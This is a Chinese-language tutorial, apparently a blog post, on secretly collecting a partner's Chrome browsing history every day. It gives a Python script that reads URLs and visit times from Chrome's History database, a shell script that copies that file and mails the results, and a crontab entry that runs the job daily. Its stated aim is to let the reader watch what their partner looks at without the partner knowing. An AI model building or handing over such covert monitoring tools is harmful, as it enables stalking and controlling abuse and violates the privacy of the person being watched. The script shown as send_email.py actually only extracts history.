Python实时监控网站浏览记录实现过程详解
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
准备
- macOS Sierra
- Python3.6
- Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 : smtp.qq.com
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(3) send_email.py:
# -*- coding: utf-8 -*- import sqlite3 #大家要改成自己的路径 history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History' # 1.连接history_db c = sqlite3.connect(history_db) cursor = c.cursor() # 2.选取我们想要的网址和访问时间 try: select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;" cursor.execute(select_statement) except sqlite3.OperationalError: print("[!] The database is locked! Please exit Chrome and run the script again.") quit() # 3.将网址和访问时间存入result.txt文件 results = cursor.fetchall() with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径 for i in range(len(results)): f.write(results[i][1]+'\n') f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地
址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚
本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/ python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持来客网。